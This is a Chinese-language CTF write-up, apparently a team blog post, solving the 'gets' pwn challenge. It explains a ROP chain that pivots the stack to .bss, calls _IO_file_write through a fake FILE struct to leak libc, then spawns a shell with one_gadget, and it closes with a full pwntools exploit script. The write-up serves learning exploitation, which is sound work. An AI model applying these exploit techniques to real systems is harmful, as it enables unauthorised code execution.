[Pwn] gets - Cpt.shao xp0int Posted on Nov 30 2018 ? rop ? 这基本是见过最绕的rop了。 整个程序异常简单,只调用了一个gets函数。  ``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 留下没开PIE一条活路。 比赛的时候就有队友提醒说这题是pwnable.tw上面de-aslr一题改编的,当时看一一下别人的wp,发现有个用于stack pivot的关键gadget找不到,赛后仔细阅读pwnable.tw神仙们的wp,发现很多都是用爆破来做的,作为学习并不想简单用爆破完事。于是根据其中一篇的思路完成了这题。 首先找gadget是最关键的一步,之前说找不到stack pivot可用的gadget,后来根据提示在ROPgadget搜索的时候加上了--depth 100参数,成功找到了一个非常理想的gadget ``` 0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret ``` 有了这个gadget就可以自由地做stack pivot/migrate了。 下面开始构造rop ```python buf = elf.bss()+0x100 rop1 = ROP(elf) # stage mov stack to bss rop1.raw(pop_rdi) rop1.raw(buf) rop1.raw(elf.plt['gets']) rop1.raw(pop_rsp_r13_r14_r15) rop1.raw(buf) sl('a'*24 + rop1.chain()) ``` 通过以上片段,我们可以把栈搬到bss段,并且在bss上面写入继续执行所需的rop ```python rop2 = ROP(elf) rop2.raw(pop_rdi) rop2.raw(buf-0x38) # to change rop2.raw(elf.plt['gets']) sl('A'*24 + rop2.chain()) ``` 通过上面的设置在bss上再做一次rop,其中0x38可以后面再作调整,rop完成以后发现bss上残留了几个libc的地址。如下图所示:  我的设想是通过 `0x000000000040059a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret`这条gadget,把其中一个libc地址放入r12,并且把rbx设为我们可以控制的内容 `0x0000000000400589 : call qword ptr [r12 + rbx*8]` 然后再通过上面这条gadget来调用libc里面的函数。 所以我们要把bss布置成为以下这样的形式: `[可控内容1] + [残留libc] + [可控内容2]` 经过调试构造出一下的rop chain ```python rop1 = ROP(elf) # stage mov stack to bss rop1.raw(pop_rdi) rop1.raw(buf) rop1.raw(elf.plt['gets']) rop1.raw(pop_rsp_r13_r14_r15) rop1.raw(buf) sl('a'*24 + rop1.chain()) rop2 = ROP(elf) rop2.raw(pop_rdi) rop2.raw(buf-0x38) # to change rop2.raw(elf.plt['gets']) rop2.raw(pop_rsp_r13_r14_r15) rop2.raw(buf-0x50) sl('A'*24 + rop2.chain()) sl('B'*24) ```  效果如图,这时我们需要把`BBBB...`替换成`0x000000000040059a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret`,控制好偏移,再把`AAAA...`替换成后续的rop chain,就能达到我们之前说的状态。 ```python sl('A'*8 + p64(pop_rsp_r13_r14_r15) + p64(buf1 + 0xe0 - 0x18) + rop2.chain()) sl(p64(pop_rbx_rbp_r12_r13_r14_r15)+ p64(0xfffffffffffffdeb) + p64(0xfffffffffffffdeb+1)) ``` 我们分别把'A'*24和'B'*24的内容替换成上面的,其中`0xfffffffffffffdeb`是传给rbx的值,`0xfffffffffffffdeb+1`是给rbp的值。 0xfffffffffffffdeb 是根据(IO_file_write - stdin) / 8计算得来,这样我们在后面call的时候就可以call IO_file_write来泄露libc地址了。rbp要设置为rbx+1这样才能保证call以后继续执行后面的rop。 通过这两段rop,我们已经把rbx和r12设置好准备call `IO_file_write` 了,`IO_file_write`接受三个参数,第一个是一个fp指针,第二个是buf,第三个是size。也就是我们需要在call之前把rdi设为一个fp指针,rsi设为泄露地址,这里选择gets@got,rdx设为打印长度,这里设置为8。 为了不打乱之前bss的内容,我们把最后的rop chain以及fake file 指针都放到buf+0x200的位置。需要注意我们在构造fake file的时候,要把fileno设为1(stdout),flags2设置为2,这样就能把内容输出到屏幕,其他字段都不需要关心。 ```python from FILE import IO_FILE_plus_struct fake_file = IO_FILE_plus_struct() fake_file._fileno = 1 fake_file._flags2 = 2 rop0 = ROP(elf) rop0.raw(pop_rdi) rop0.raw(buf1) rop0.raw(elf.plt['gets']) rop0.raw(main) sl('a'*24 + rop0.chain()) final = ROP(elf) final.raw(pop_r13_r14_r15) final.raw(0x8) # r13->rdx final.raw(elf.got['gets']) # r14->rsi final.raw(buf1) # r15-> rdi final.raw(mrdx13_mrsi14_mrdi15_call) sl(str(fake_file) + final.chain() + cyclic(56) + p64(main)) ``` 这两段内容都在exp的最开始,我们输入rop1之前预先写好,布置好rbx,r12的时候在stack migrate到这段地址。 call以后就能够泄露出gets@libc了,获得了libc地址以后接下来的rop就十分简单了,我们这里用one_gadget来完成最后一步。 ## run.py ```python from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' env = {} env = {'LD_PRELOAD' : './libc-2.23.so'} p = process('./gets', env=env) libc = ELF('./libc-2.23.so') elf = ELF('./gets') def rc(x): return p.recv(x) def ru(x): return p.recvuntil(x) def se(x): return p.send(x) def sl(x): return p.sendline(x) def sea(a, b): return p.sendafter(a, b) def sla(a, b): return p.sendlineafter(a, b) def info_addr(tag, addr): return p.info(tag + ': {:#x}'.format(addr)) pop_rdi = 0x4005a3 pop_rsp_r13_r14_r15 = 0x40059d pop_rbx_rbp_r12_r13_r14_r15 = 0x40059a pop_r12_r13_r14_r15 = 0x40059c pop_rsi_r15 = 0x4005a1 pop_r13_r14_r15 = 0x40059e mrdx13_mrsi14_mrdi15_call = 0x400580 # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8] call_r12_plus_rbx_mul_8 = 0x400589 main = 0x400420 buf = elf.bss() + 0x100 buf1 = elf.bss() + 0x200 # for fake file and final rop info_addr('buf', buf) bp = [call_r12_plus_rbx_mul_8] # you can insert bp here gdbcmd = "" for b in bp: if type(b) is str: gdbcmd += "b {}\n".format(b) elif type(b) is int: gdbcmd += "b *{:#x}\n".format(b) gdb.attach(p, gdbcmd) from FILE import IO_FILE_plus_struct fake_file = IO_FILE_plus_struct() fake_file._fileno = 1 fake_file._flags2 = 2 rop0 = ROP(elf) rop0.raw(pop_rdi) rop0.raw(buf1) rop0.raw(elf.plt['gets']) rop0.raw(main) sl('a'*24 + rop0.chain()) final = ROP(elf) final.raw(pop_r13_r14_r15) final.raw(0x8) # r13->rdx final.raw(elf.got['gets']) # r14->rsi final.raw(buf1) # r15-> rdi final.raw(mrdx13_mrsi14_mrdi15_call) sl(str(fake_file) + final.chain() + cyclic(56) + p64(main)) rop1 = ROP(elf) # stage mov stack to bss rop1.raw(pop_rdi) rop1.raw(buf) rop1.raw(elf.plt['gets']) rop1.raw(pop_rsp_r13_r14_r15) rop1.raw(buf) sl('a'*24 + rop1.chain()) rop2 = ROP(elf) rop2.raw(pop_rdi) rop2.raw(buf-0x38) # to change rop2.raw(elf.plt['gets']) rop2.raw(pop_rsp_r13_r14_r15) rop2.raw(buf-0x50) sl('/bin/sh\x00' + p64(pop_rsp_r13_r14_r15) + p64(buf1 + 0xe0 - 0x18) + rop2.chain()) sl(p64(pop_rbx_rbp_r12_r13_r14_r15)+ p64(0xfffffffffffffdeb) + p64(0xfffffffffffffdeb+1)) leak_libc = u64(p.recv(8)) libc.address = leak_libc - libc.symbols['gets'] info_addr('libc', libc.address) sh_rop = ROP(elf) sh_rop.raw(libc.address + 0xf1147) sl('a'*24 + sh_rop.chain()) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] Steak - Cpt.shao [Pwn] 0gadget - Cpt.shao
没有帐号? 立即注册